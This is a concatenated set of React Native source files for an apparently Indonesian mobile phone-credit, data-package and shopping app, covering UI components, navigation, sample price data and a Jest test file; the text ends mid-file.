flexDirection: 'row', paddingLeft: 10, alignItems: 'center', backgroundColor: '#f2f3f3', borderWidth: 1, borderRadius: 10, borderColor: border, width: width - 40, }), textInput: (border) => ({ marginLeft: 10, color: 'black', backgroundColor: '#f2f3f3', width: '80%', height: 45, borderBottomWidth: 0.5, borderBottomColor: border, }), title: { fontFamily: fonts.primary.normal, color: colors.grey, fontSize: 15, } }) ``` PulsaCard.js ```import React from 'react' import { Dimensions, Image, ImageBackground, StyleSheet, Text, TouchableOpacity, View } from 'react-native' import { colors, fonts } from '../../themes'; const { width } = Dimensions.get('screen'); const PulsaCard = ({ onPress, data }) => { console.log('item', data); return ( <TouchableOpacity style={styles.container} onPress={onPress}> <ImageBackground source={require('../../assets/images/bg-pulsa.jpg')} imageStyle={{ borderTopRightRadius: 10, borderTopLeftRadius: 10, borderBottomRightRadius: 10 }} style={styles.image}> <Text style={styles.price}>Rp</Text> <Text style={styles.price}>50.000</Text> </ImageBackground> <View style={styles.poin}> <Text style={styles.denom}>{data.harga}</Text> <Text style={styles.textPoin}>+10 Poin</Text> </View> </TouchableOpacity> ) } export default PulsaCard const styles = StyleSheet.create({ container: { backgroundColor: '#f5f5f5', width: width / 2.3, marginRight: 10, marginLeft: 10, marginTop: 10, marginBottom: 10, borderBottomRightRadius: 10, borderTopRightRadius: 10, }, image: { width: width / 2.3, height: 100, borderRadius: 100, justifyContent: 'center', alignContent: 'center', paddingLeft: 10, }, price: { fontFamily: fonts.primary.bold, color: colors.primary, fontSize: 18 }, poin: { paddingVertical: 10, paddingHorizontal: 10, flexDirection: 'row', justifyContent: 'space-between' }, denom: { fontFamily: fonts.primary.bold, color: colors.secondary }, textPoin: { color: colors.yellow } }) ``` index.js ```import Carousel from "./Carousel"; import CarouselItem from "./CarouselItem"; export { Carousel, CarouselItem, }``` App.js ```import React from 'react' import { StyleSheet, Text, View } from 'react-native' import AppNavigator from './src/AppNavigator' const App = () => { return ( <View style={{ flex: 1, backgroundColor: 'white' }}> <AppNavigator /> </View> ) } export default App const styles = StyleSheet.create({}) ``` index.js ```export const PaketGroups = [ { paket: "Combo Sakti", detail: [ { nama: "Combo Sakti 10GB", harga: 10000, masa_aktif: "14 Hari" }, { nama: "Combo Sakti 20GB", harga: 20000, masa_aktif: "14 Hari" }, { nama: "Combo Sakti 50GB", harga: 50000, masa_aktif: "14 Hari" }, { nama: "Combo Sakti 70GB", harga: 75000, masa_aktif: "14 Hari" }, ] }, { paket: "Bulanan", detail: [ { nama: "Bulanan 100 GB", harga: 100000, masa_aktif: "30Hari" }, { nama: "Bulanan 120 GB", harga: 120000, masa_aktif: "30Hari" }, { nama: "Bulanan 150 GB", harga: 150000, masa_aktif: "30Hari" }, { nama: "Bulanan 177 GB", harga: 175000, masa_aktif: "30Hari" }, { nama: "Bulanan 50 GB", harga: 500000, masa_aktif: "30Hari" }, ], image: "https://images.unsplash.com/photo-1529016587530-3210122452e7?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80" }, { paket: "Bulanan", detail: [ { nama: "Bulanan 100 GB", harga: 100000, masa_aktif: "30Hari" }, { nama: "Bulanan 120 GB", harga: 120000, masa_aktif: "30Hari" }, { nama: "Bulanan 150 GB", harga: 150000, masa_aktif: "30Hari" }, { nama: "Bulanan 177 GB", harga: 175000, masa_aktif: "30Hari" }, { nama: "Bulanan 50 GB", harga: 500000, masa_aktif: "30Hari" }, ], image: "https://images.unsplash.com/photo-1593642634315-48f5414c3ad9?ixid=MnwxMjA3fDF8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80" }, { paket: "Bulanan", detail: [ { nama: "Bulanan 100 GB", harga: 100000, masa_aktif: "30Hari" }, { nama: "Bulanan 120 GB", harga: 120000, masa_aktif: "30Hari" }, { nama: "Bulanan 150 GB", harga: 150000, masa_aktif: "30Hari" }, { nama: "Bulanan 177 GB", harga: 175000, masa_aktif: "30Hari" }, { nama: "Bulanan 50 GB", harga: 500000, masa_aktif: "30Hari" }, ], image: "https://images.unsplash.com/photo-1507297230445-ff678f10b524?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80" }, { paket: "Bulanan", detail: [ { nama: "Bulanan 100 GB", harga: 100000, masa_aktif: "30Hari" }, { nama: "Bulanan 120 GB", harga: 120000, masa_aktif: "30Hari" }, { nama: "Bulanan 150 GB", harga: 150000, masa_aktif: "30Hari" }, { nama: "Bulanan 177 GB", harga: 175000, masa_aktif: "30Hari" }, { nama: "Bulanan 50 GB", harga: 500000, masa_aktif: "30Hari" }, ], image: "https://images.unsplash.com/photo-1608610026254-da1c4f08ce9d?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=889&q=80" }, { paket: "Bulanan", detail: [ { nama: "Bulanan 100 GB", harga: 100000, masa_aktif: "30Hari" }, { nama: "Bulanan 120 GB", harga: 120000, masa_aktif: "30Hari" }, { nama: "Bulanan 150 GB", harga: 150000, masa_aktif: "30Hari" }, { nama: "Bulanan 177 GB", harga: 175000, masa_aktif: "30Hari" }, { nama: "Bulanan 50 GB", harga: 500000, masa_aktif: "30Hari" }, ], image: "https://images.unsplash.com/photo-1592578629295-73a151d69c96?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80" }, ]``` index.js ```import DetailPulsa from "./DetailPulsa"; export { DetailPulsa, }``` PromoTile.js ```import React from 'react' import { Dimensions, Image, ImageBackground, StyleSheet, Text, View } from 'react-native'; import { colors, fonts } from '../../themes'; import { BtnCircle } from '../Button'; const { width, height } = Dimensions.get('screen'); const PromoTile = (item) => { return ( <ImageBackground source={{ uri: item.data.image }} style={styles.image} imageStyle={{ borderRadius: 13, }}> <View style={styles.info}> <View style={styles.tileInfo}> <Text style={styles.title}>{item.data.title}</Text> <Text style={styles.description}>{item.data.description}</Text> </View> <BtnCircle /> {/* <Text style={styles.description}>{item.data.description}</Text> */} </View> {/* <Image source={{ uri: item.data.image }} style={styles.image} /> */} </ImageBackground> ) } export default PromoTile const styles = StyleSheet.create({ image: { width: width - 40, height: 150, borderRadius: 10, paddingLeft: 20, paddingRight: 20, alignContent: 'center', // alignItems: 'center', justifyContent: 'center', marginRight: 15, }, title: { fontFamily: fonts.primary.bold, color: colors.white, }, description: { fontFamily: fonts.primary.normal, fontSize: 10, maxWidth: width - 80, color: colors.white }, info: { flexDirection: 'row', alignContent: 'center', justifyContent: 'space-between', alignItems: 'center', }, tileInfo: { maxWidth: width - 150, } }) ``` Splashscreen.js ```import React, { useEffect } from 'react' import { Dimensions, Image, StatusBar, StyleSheet, Text, View } from 'react-native' import { Actions } from 'react-native-router-flux'; const { height, width } = Dimensions.get('window'); const Splashscreen = () => { useEffect(() => { setTimeout(() => { // Actions.OnBoarding(); Actions.Home(); }, 3000) }, []) return ( <View style={styles.container}> <StatusBar hidden={true} /> <View style={styles.logo}> <Image source={require('../assets/icons/ic-logo.png')} style={styles.imgLogo} /> </View> <View style={styles.bg}> <Image source={require('../assets/images/bg-city.png')} style={styles.imgBg} /> </View> </View> ) } export default Splashscreen const styles = StyleSheet.create({ container: { flex: 1, backgroundColor: 'white', alignContent: 'center', alignItems: 'center', justifyContent: 'center', }, imgLogo: { width: width / 3, height: height / 4, resizeMode: 'contain' }, bg: { position: 'absolute', bottom: -10, }, imgBg: { height: height / 5.5, resizeMode: 'contain', opacity: 0.4, } }) ``` index.js ```export * from './carousel/index'; export * from './menu/index'; export * from './promo/index'; export * from './AllMenu/index'; export * from './Pulsa/index'; export * from './GroupPaket';``` HeaderHome.js ```import React from 'react' import { Image, StyleSheet, Text, View } from 'react-native' import Icons from 'react-native-vector-icons/FontAwesome5'; import { Search } from '../FormInput'; import Gap from '../Gap'; const HeaderHome = () => { return ( <View style={styles.container}> <Image source={require('../../assets/icons/ic-user.png')} style={styles.image} /> <Gap width={10} /> <Search /> <Gap width={10} /> <Image source={require('../../assets/icons/ic-cart.png')} style={styles.imageCart} /> </View> ) } export default HeaderHome const styles = StyleSheet.create({ container: { flexDirection: 'row', justifyContent: 'center', alignContent: 'center', alignItems: 'center', }, image: { width: 30, height: 30, }, imageCart: { width: 25, height: 25, resizeMode: 'contain' }, imgContainer: { padding: 5, width: 30, height: 30, backgroundColor: 'red', alignItems: 'center', alignContent: 'center', justifyContent: 'center', borderRadius: 30 / 2 } }) ``` AppNavigator.js ```import React from 'react' import { Platform, StyleSheet, Text, View } from 'react-native' import { ActionConst, Router, Scene, Stack, Tabs } from 'react-native-router-flux' import { Splashscreen } from './pages'; import { LoginScreen, RegisterScreen } from './pages/Auth'; import { OnBoarding } from './pages/onBoarding'; import { HomeScreen, MenuScreen, ProfileScreen, TransactionScreen } from './pages/Tabs'; import { colors, fonts } from './themes'; import Icons from 'react-native-vector-icons/FontAwesome5'; import TabIcon from './pages/Tabs/TabIcon'; import PulsaData from './pages/PulsaData/PulsaData'; import { PaketData } from './pages/PaketData'; import { DetailPulsa } from './pages/DetailTransaksi'; import ListContact from './pages/ListContact'; const stateHandler = (prevState, newsState, action) => { // console.log('onstatechange : ACTION:', action); }; const prefix = Platform.OS === 'android' ? 'mychat://mychat/' : 'mychat://'; const AppNavigator = () => { const iconHome = () => <Icons name="home" color={colors.primary} size={25} /> const iconCart = () => <Icons name="shopping-cart" color={colors.primary} size={25} /> const iconBelanja = () => <Icons name="shopping-bag" color={colors.primary} size={25} /> const iconUser = () => <Icons name="user-alt" color={colors.primary} size={25} /> const settingTabs = (props) => { } return ( <Router onStateChange={stateHandler} sceneStyle={styles.scene} uriPrefix={prefix} > <Scene key="Root" hideNavBar={true}> <Scene key="splashscreen" subtitle="splashscreen" title="Splashscreen" component={Splashscreen} hideNavBar={true} type="reset" /> <Scene key="OnBoarding" subtitle="OnBoarding" component={OnBoarding} hideNavBar={true} title="OnBoarding" type="reset" /> <Scene key="Login" component={LoginScreen} hideNavBar={true} title="Login" type="reset" /> <Scene key="Register" component={RegisterScreen} hideNavBar={true} title="Register" /> <Scene key="Main" hideNavBar={true} activeTintColor={colors.primary} tabBarStyle={styles.tabBar} tabs type="reset" labelStyle={styles.titleStyle} showLabel={false} > <Scene key="Home" iconName="home" iconKey="FontAwesome5" title="Home" component={HomeScreen} icon={TabIcon} hideNavBar={true} initial={true} /> <Scene key="AllMenu" iconName="shopping-bag" iconKey="FontAwesome5" title="Home" title="Semua" component={MenuScreen} icon={TabIcon} hideNavBar={true} /> <Scene key="Transaksi" iconKey="FontAwesome5" iconName="shopping-cart" title="Transaksi" component={TransactionScreen} icon={TabIcon} hideNavBar={true} /> <Scene key="Profile" iconKey="FontAwesome5" iconName="user-alt" title="Akun" component={ProfileScreen} icon={TabIcon} hideNavBar={true} /> </Scene> <Scene key="PulsaScreen" component={PulsaData} hideNavBar={true} title="PulsaScreen" /> <Scene key="PaketDataScreen" component={PaketData} hideNavBar={true} title="PulsaScreen" /> <Scene key="DetailTransaksiPulsaScreen" component={DetailPulsa} hideNavBar={true} title="PulsaScreen" /> <Scene key="ListContacts" component={ListContact} title="ListContacts" /> </Scene> </Router> ) } export default AppNavigator const styles = StyleSheet.create({ scene: { backgroundColor: '#F5FCFF', shadowOpacity: 1, shadowRadius: 3, }, tabBar: { backgroundColor: 'white', borderWidth: 1, borderTopColor: 'white', borderRightColor: 'white', borderLeftColor: 'white', borderBottomColor: 'white', shadowColor: '#000', shadowOffset: { width: 0, height: 6, }, shadowOpacity: 0.37, shadowRadius: 7.49, elevation: 5, borderTopLeftRadius: 10, borderTopRightRadius: 10, alignContent: 'center', justifyContent: 'center', alignItems: 'center', }, titleStyle: { fontFamily: fonts.primary.normal } }) ``` Icon.js ```import ICPulsa from '../../assets/icons/menu/ic-pulsa.png'; import ICPaket from '../../assets/icons/menu/ic-paket-data.png'; import ICMenu from '../../assets/icons/menu/ic-all.png'; import ICEmoney from '../../assets/icons/menu/ic-emoney.png'; import ICGames from '../../assets/icons/menu/ic-games.png'; import ICPdam from '../../assets/icons/menu/ic-pdam.png'; import ICPln from '../../assets/icons/menu/ic-pln.png'; import ICTiket from '../../assets/icons/menu/ic-ticket.png'; import ICTransfer from '../../assets/icons/menu/ic-transfer.png'; import ICVoucher from '../../assets/icons/menu/ic-voucher.png'; export { ICPulsa, ICPaket, ICMenu, ICEmoney, ICGames, ICPdam, ICPln, ICTiket, ICTransfer, ICVoucher, }``` index.js ```export const data_menu = [ { menu: "Isi Ulang", detail: [ { name: "Pulsa", navigasi: "PulsaScreen" }, { name: "Paket Data", navigasi: "PaketDataScreen" }, { name: "Pln Token", navigasi: "PlnTokenScreen" }, { name: "Digipos", navigasi: "DigiposScreen" }, { name: "EMoney", navigasi: "EMoneyScreen" }, ] }, { manu: "Travel", detail: [ { name: "Kereta Api", navigasi: "KeretaApiScreen" }, { name: "Bus", navigasi: "BusScreen" }, { name: "Pesawat", navigasi: "PesawatScreen" }, ] }, { menu: "Voucher", detail: [ { name: "Game", navigasi: "GameScreen" }, { name: "Voucher Data", navigasi: "VoucherDataScreen" }, { name: "Voucher", navigasi: "VoucherScreen" }, ] }, { menu: "Trasnfer", detail: [ { name: "Trasnfer Uang", navigasi: "TransferUangScreen" }, { name: "Trasnfer Saldo", navigasi: "TransferSaldoScreen" }, ] }, { menu: "Taguhan", detail: [ { name: "PLN", navigasi: "PlnScreen" }, { name: "BPJS", navigasi: "BPJSScreen" }, { name: "Internet", navigasi: "InternetScreen" }, ] } ] ``` index.js ```export const pulsa = [ { harga: 5000, poin: 1 }, { harga: 10000, poin: 10 }, { harga: 25000, poin: 50 }, { harga: 25000, poin: 50 }, { harga: 30000, poin: 50 }, { harga: 35000, poin: 70 }, { harga: 400000, poin: 550 }, { harga: 350000, poin: 850 }, ]``` DetailTransaksiHeader.js ```import React from 'react' import { Image, StyleSheet, Text, View } from 'react-native' import { colors, fonts } from '../../themes' import Gap from '../Gap' const DetailTransaksiHeader = ({ type, denom, harga }) => { return ( <View style={styles.container}> <View style={styles.header}> <Image source={require('../../assets/icons/menu/ic-pulsa.png')} style={styles.image} /> <Gap width={10} /> <Text style={styles.title}>{type}</Text> </View> <Text style={styles.denom}>{denom}</Text> </View> ) } export default DetailTransaksiHeader const styles = StyleSheet.create({ container: { backgroundColor: colors.white, paddingVertical: 20, paddingHorizontal: 20, flexDirection: 'row', justifyContent: 'space-between', }, header: { flexDirection: 'row', justifyContent: 'center', alignContent: 'center', alignItems: 'center', }, image: { width: 35, height: 35, resizeMode: 'contain' }, title: { fontFamily: fonts.primary.normal }, denom: { fontFamily: fonts.primary.bold, color: colors.secondary, } }) ``` CardContact.js ```import React from 'react' import { StyleSheet, Text, TouchableOpacity, View } from 'react-native' import { Avatar } from 'react-native-image-avatars'; const CardContact = ({ name, nomor, onPress }) => { return ( <TouchableOpacity onPress={onPress} style={styles.conatiner}> {/* <View style={styles.content}> */} {/* <View style={styles.content}> */} <View style={styles.info}> <Text>{name}</Text> <Text>{nomor}</Text> </View> <View> <Avatar type="text" text={name} size="x-small" borderColor="#f2f2f2" textBackgroundFill='#fff' backgroundColor="red" /> {/* </View> */} {/* </View> */} </View> </TouchableOpacity> ) } export default CardContact const styles = StyleSheet.create({ conatiner: { paddingHorizontal: 15, paddingVertical: 15, flexDirection: 'row', justifyContent: 'space-between', borderBottomColor: '#f5f5f5', borderBottomWidth: 1, }, content: { flexDirection: 'row', justifyContent: 'space-between', }, info: { // backgroundColor: 'red', paddingVertical: 10, paddingHorizontal: 10, }, content: { flexDirection: 'row', justifyContent: 'space-between', backgroundColor: 'red', } }) ``` LoginScreen.js ```import React, { useState } from 'react' import { Dimensions, SafeAreaView, StatusBar, StyleSheet, Text, TouchableOpacity, View } from 'react-native' import { Actions } from 'react-native-router-flux'; import { PrimaryButton } from '../../components/Button'; import { SsoCard } from '../../components/Card'; import { Input } from '../../components/FormInput'; import Gap from '../../components/Gap'; import { colors, fonts } from '../../themes' const { width, height } = Dimensions.get('screen'); const LoginScreen = () => { const [show, setShow] = useState(true); return ( <SafeAreaView style={styles.page}> <StatusBar backgroundColor="transparent" translucent={true} /> <View style={styles.content}> <Text style={styles.title}>Welcome back</Text> <Text style={styles.subtitle}>Silahkan login kembali</Text> <Gap height={5} /> <Input icon="user-alt" label="Username" placeholder="Masukkan Username" isSecure={false} /> <Gap height={20} /> <Input icon="key" label="Password" placeholder="Masukkan Password" isSecure={true} show={show} onShow={() => setShow(!show)} /> <Gap height={25} /> <PrimaryButton title="Sign In" type="primary" onPress={() => Actions.Home()} /> <Gap height={10} /> <View style={styles.ssoLogin}> <Text style={styles.subtitle}>Atau masuk dengan</Text> <Gap height={10} /> <View style={styles.iconSSo}> <SsoCard type="twitter" /> <Gap width={10} /> <SsoCard type="facebook" /> <Gap width={10} /> <SsoCard type="google" /> </View> </View> <Gap height={30} /> <View style={styles.register}> <Text style={styles.subtitle}>Belum punya akun? </Text> <TouchableOpacity style={styles.containerlink} onPress={() => Actions.Register()}> <Text style={styles.link}>Daftar Disini</Text> </TouchableOpacity> </View> </View> </SafeAreaView> ) } export default LoginScreen const styles = StyleSheet.create({ page: { flex: 1, backgroundColor: colors.primary, }, content: { backgroundColor: colors.white, marginTop: height / 5, flex: 1, borderTopLeftRadius: 20, borderTopRightRadius: 20, padding: 20, }, title: { fontFamily: fonts.primary.bold, fontSize: 20, }, subtitle: { fontFamily: fonts.primary.normal, color: colors.grey }, ssoLogin: { justifyContent: 'center', alignItems: 'center', }, iconSSo: { flexDirection: 'row', justifyContent: 'center', alignContent: 'center', }, register: { alignContent: 'center', alignItems: 'center', flexDirection: 'row', justifyContent: 'center', }, containerlink: { marginLeft: 5, }, link: { color: colors.primary, fontFamily: fonts.primary.bold } }) ``` App-test.js ``` import React from 'react'; import Adapter from 'enzyme-adapter-react-16'; import { shallow, configure } from 'enzyme'; import App from '../App'; import { Button, CardContact, Header, Input } from '../src/components'; import { describe } from '@jest/globals'; import { CreatePage, EditPage, ListContact } from '../src/pages'; import { Provider } from 'react-redux'; import { store } from '../src/redux'; import { Actions } from 'react-native-router-flux'; configure({ adapter: new Adapter(), disableLifecycleMethods: true }) export const findByTestAtrr = (component, attr) => { const wrapper = component.find(`[testID='${attr}']`); return wrapper; }; jest.mock('react-native-router-flux', () => ({ Actions: { sceneKey: jest.fn() } })) describe('App Screen ', () => { it('should renders `App Screen` is correctly', () => { const wrapper = shallow(<App />); expect(wrapper).toMatchSnapshot() }) }); describe('List Contact Screen', () => { it('should renders `List Contact` is correctly', () => { const wrapper = shallow( <Provider store={store}> <ListContact /> </Provider> ); expect(wrapper).toMatchSnapshot(); }); describe('Render `Card Contacts`', () => { let wrapper; beforeEach(() => { const props = { firstName: 'Example', lastName: 'Example', age: 10, photo: 'string' } wrapper = shallow(<CardContact firstName={props.firstName} lastName={props.lastName} age={props.age} image={props.photo} />) }); it('Should renders without error', () => { const component = findByTestAtrr(wrapper, 'card-test'); expect(component.length).toBe(1); }); it('Should press and navigate to `Detail`', () => { const component = findByTestAtrr(wrapper, 'card-test'); component.simulate('press'); expect(Actions.sceneKey.mock.calls.legth) }) }); describe('Detail Screen', () => { let wrapper; beforeEach(() => { wrapper = shallow(<Provider store={store}><EditPage /></Provider>) }); describe('Change Data', () => { it('Should change `firstname or last name or age`', () => { let input = shallow(<Input />) input.find('[testID="input-test"]').simulate('change'); expect(Actions.sceneKey.mock.calls.legth); }) }); describe('Update Data', () => { it('Should press `Button Update to save data`', () => { let button = shallow(<Button />) button.find('[testID="button"]').simulate('press'); expect(Actions.sceneKey.mock.calls.length) }) }); describe('Delete Data', () => { it('Should press `Button Trash to delete data`', () => { let button = shallow(<Header />) button.find('[testID="delete-button"]').simulate('press'); expect(Actions.sceneKey.mock.calls.length) }) }); }); describe('Created Contact', () => { let wrapper; beforeEach(() => { wrapper = shallow(<Provider store={store}><CreatePage /></Provider>) }); describe('Change Data', () => { it('Should change `firstname or last name or age`', () => { let input = shallow(<Input />) input.find('[testID="input-test"]').simulate('change'); expect(Actions.sceneKey.mock.calls.legth); }) }); describe('Save Data', () => { it('Should press `Button to save data`', () => { let button = shallow(<Button />) button.find('[testID="button"]').simulate('press'); expect(Actions.sceneKey.mock.calls.length) }) }); }) }) ``` Favorit.js ```export const product_favorit = [ { id: 1, lokasi: "Semarang", nama: "Iphone Pro Max 12", harga: 10000000, terjual: 10, rating: 4.6, deskripsi: "Iphone 12 Pro Max like new tahun 2021", gambar: "https://images.unsplash.com/photo-1590460309911-8471bfd8da34?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80", spesifikasi: [{ ram: "4GB", internal: "256GB", baterai: "5000mah", warna: "Grey" }] }, { id: 1, lokasi: "Jakarta Selatan", nama: "Xiaomi Redmi 9T", harga: 1900000, terjual: 20, rating: 4.6, deskripsi: "Xiaomi Redmi 9T like new tahun 2021", gambar: "https://images.unsplash.com/photo-1626084232696-132206a844ea?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=889&q=80", spesifikasi: [{ ram: "4GB", internal: "256GB", baterai: "5000mah", warna: "Grey" }] }, { id: 1, lokasi: "Bandung", nama: "Iphone 10", harga: 1000000, terjual: 10, rating: 4.6, deskripsi: "Iphone 12 Pro Max like new tahun 2021", gambar: "https://images.unsplash.com/photo-1512054502232-10a0a035d672?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1400&q=80", spesifikasi: [{ ram: "4GB", internal: "256GB", baterai: "5000mah", warna: "Grey" }] }, { id: 1, lokasi: "Kendal", nama: "Samsung A30", harga: 1000000, terjual: 10, rating: 4.6, deskripsi: "Iphone 12 Pro Max like new tahun 2021", grey: "https://images.unsplash.com/photo-1591122947157-26bad3a117d2?ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&ixlib=rb-1.2.1&auto=format&fit=crop&w=750&q=80", spesifikasi: [{ ram: "4GB", internal: "256GB", baterai: "5000mah", warna: "Grey" }] }, { id: 1, lokasi: "Semarang", nama: "Iphone Pro Max 12", harga: 1000000, terjual: 10, rating: 4.6, deskripsi: "Iphone 12 Pro Max like new tahun 2021", gambar: "https://images.unsplash.com/photo-1609085174857-cfea32ae0140?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=750&q=80", spesifikasi: [{ ram: "4GB", internal: "256GB", baterai: "5000mah", warna: "Grey" }] }, ]``` MenuScreen.js ```import React from 'react' import { Image, ScrollView, StyleSheet, Text, View } from 'react-native' import { Carousel } from '../../components/Carousel' import Gap from '../../components/Gap' import { data, data_menu } from '../../data' import { colors, fonts } from '../../themes' const MenuScreen = () => { return ( <ScrollView style={styles.page} showsHorizontalScrollIndicator={false}> <Carousel data={data} /> <View style={styles.content}> {data_menu.map((item) => { return ( <View> <Gap height={20} /> <View style={styles.title}> <Text style={styles.title}>{item.menu}</Text> </View> <Gap height={20} /> <View style={styles.detail_menu}>{item.detail.map((detail) => { return ( <View style={styles.item_detail_menu}> <Image source={require('../../assets/icons/menu/ic-emoney.png')} style={styles.image_menu} /> <Text style={styles.description}>{detail.name}</Text> </View> ) })}</View> </View> ) })} </View> </ScrollView> ) } export default MenuScreen const styles = StyleSheet.create({ page: { flex: 1, }, content: { padding: 10, backgroundColor: colors.white }, detail_menu: { flexDirection: 'row', alignItems: 'center', alignContent: 'center', marginLeft: 25, flexWrap: 'wrap', }, image_menu: { width: 50, height: 50, }, item_detail_menu: { marginRight: 30, // alignContent: 'center', alignItems: 'center', justifyContent: 'center' }, title: { fontFamily: fonts.primary.bold }, description: { fontFamily: fonts.primary.normal } }) ``` index.js ```import OnBoardingBtn from "./Button/OnBoardingBtn"; export { OnBoardingBtn, }``` CarouselItem.js ```import React from 'react' import { Dimensions, Image, StyleSheet, Text, View } from 'react-native' import { colors, fonts } from '../../themes'; const { width, height } = Dimensions.get('screen'); const CarouselItem = ({ item }) => { return ( <View style={styles.container}> <Image style={styles.image} source={{ uri: item.url }} /> <View style={styles.textView}> <Text style={styles.title}>{item.title}</Text> <Text style={styles.description}>{item.description}</Text> </View> </View> ) } export default CarouselItem const styles = StyleSheet.create({ container: { flex: 1, // width: width - 20, height: height / 3, backgroundColor: 'white', borderTopLeftRadius: 10, borderTopRightRadius: 10, shadowColor: "#000", shadowOffset: { width: 0.5, height: 0.5 }, shadowOpacity: 0.5, shadowRadius: 3, elevation: 5, }, textView: { position: 'absolute', bottom: 10, margin: 10, left: 5, }, image: { width: width, height: height / 3, opacity: 0.7, }, item: { color: 'white', fontFamily: fonts.primary.bold, shadowColor: '#000' }, title: { fontFamily: fonts.primary.bold, color: colors.white, fontSize: 20, }, description: { fontFamily: fonts.primary.normal, fontSize: 12, color: colors.white } }) ``` index.js ```import img1 from '../images/onborading-1.png'; import img2 from '../images/onborading-2.png'; import img3 from '../images/onborading-3.png'; export { img1, img2, img3, }``` TabIcon.js ```import React, { Component } from 'react'; import { View, Text, Dimensions } from 'react-native'; import MIcon from 'react-native-vector-icons/MaterialIcons'; import MCIcon from 'react-native-vector-icons/MaterialCommunityIcons'; import FAIcon from 'react-native-vector-icons/FontAwesome'; import Feather from 'react-native-vector-icons/Feather'; import FA5Icon from 'react-native-vector-icons/FontAwesome5'; import ADIcon from 'react-native-vector-icons/AntDesign'; import Foundation from 'react-native-vector-icons/Foundation'; import { colors } from '../../themes'; const { widt, height } = Dimensions.get('screen') export default class TabIcon extends Component { constructor(props) { super(props); } render() { var color = this.props.focused ? colors.primary : colors.lighGrey; var icon = ''; if (this.props.iconKey == 'FontAwesomeCustom') { icon = ( <View style={{ width: height * 0.08, height: height * 0.08, alignItems: 'center', justifyContent: 'center', backgroundColor: colors.primary, borderRadius: height * 0.04, alignContent: 'center', marginBottom: 20 }}> <FAIcon style={{ color: 'white' }} name={this.props.iconName || 'circle'} size={30} /> </View> ); } else if (this.props.iconKey == 'MaterialCommunityIconsCust') { icon = ( <MCIcon style={{ color: color }} name={this.props.iconName || 'circle'} size={20} /> ); } else if (this.props.iconKey == 'MaterialCommunityIcons') { icon = ( <MCIcon style={{ color: color }} name={this.props.iconName || 'circle'} size={20} /> ); } else if (this.props.iconKey == 'Feather') { icon = ( <Feather style={{ color: color }} name={this.props.iconName || 'circle'} size={20} /> ); } else if (this.props.iconKey == 'FontAwesome5') { icon = ( <FA5Icon style={{ color: color }} name={this.props.iconName || 'circle'} size={22} /> ); } else if (this.props.iconKey == 'AntDesign') { icon = ( <ADIcon style={{ color: color }} name={this.props.iconName || 'circle'} size={20} /> ); } else if (this.props.iconKey == 'MaterialIcons') { icon = ( <MIcon style={{ color: color }} name={this.props.iconName || 'circle'} size={24} /> ); } else if (this.props.iconKey == 'Foundation') { icon = ( <Foundation style={{ color: color }} name={this.props.iconName || 'circle'} size={24} /> ); } else { icon = ( <FAIcon style={{ color: color }} name={this.props.iconName || 'circle'} size={24} /> ); } return ( <View style={{ flex: 1, flexDirection: 'column', alignItems: 'center', alignSelf: 'center', justifyContent: 'center', }}> {icon} </View> ); } } ``` HomeScreen.js ```import React from 'react' import { Dimensions, FlatList, Image, SafeAreaView, ScrollView, StatusBar, StyleSheet, Text, View, TouchableOpacity } from 'react-native' import { Carousel } from '../../components/Carousel' import { Search } from '../../components/FormInput' import { HeaderHome } from '../../components/Header' import { data, menu, promo } from '../../data' import Icons from 'react-native-vector-icons/FontAwesome5'; import { colors, fonts } from '../../themes' import Gap from '../../components/Gap' import { ProductTile, PromoTile } from '../../components/Tile' import { product_favorit } from '../../data/products' import { Actions } from 'react-native-router-flux' const { width, height } = Dimensions.get('screen'); const HomeScreen = () => { const renderPromo = ({ item, index }) => { return ( <PromoTile data={item} /> ); } const renderProductFavorit = ({ item, index }) => { return ( <ProductTile data={item} /> ) } return ( <View style={styles.page}> <StatusBar hidden={false} backgroundColor="transparent" translucent={true} barStyle="light-content" /> <Carousel data={data} /> <View style={{ position: 'absolute', top: 30, left: 8 }}> <HeaderHome /> </View> <ScrollView style={styles.content} showsVerticalScrollIndicator={false}> <View style={styles.menu}> {menu.map((item) => { return ( <TouchableOpacity style={styles.itemMenu} onPress={() => Actions[item.navigasi]()}> <Image source={item.icon} style={styles.iconMenu} /> <Gap height={8} /> <Text style={styles.titleMenu}>{item.title}</Text> </TouchableOpacity> ) })} </View> <Gap height={10} /> {/* promo section */} <View style={styles.itemPromo}> <FlatList data={promo} renderItem={renderPromo} keyExtractor={(item, index) => 'key' + index.toString()} horizontal scrollEnabled={true} showsHorizontalScrollIndicator={false} pagingEnabled /> {/* {promo.map((item) => { return <PromoTile data={item} /> })} */} </View> <Gap height={10} /> <View style={styles.productFavorit}> <View style={styles.titleTile}> <Icons name="shopping-basket" color={colors.primary} size={15} /> <Gap width={5} /> <Text style={styles.title}>Produk Populer</Text> </View> <Gap height={10} /> <View style={styles.itemProduk}> <FlatList data={product_favorit} renderItem={renderProductFavorit} keyExtractor={(item, index) => 'key' + index.toString()} horizontal={true} scrollEnabled={true} showsHorizontalScrollIndicator={false} /> {/* {product_favorit.map((item) => { return ( <ProductTile data={item} /> ) })} */} </View> </View> <Gap height={10} /> <View style={styles.productTerbaru}> <View style={styles.titleTile}> <Icons 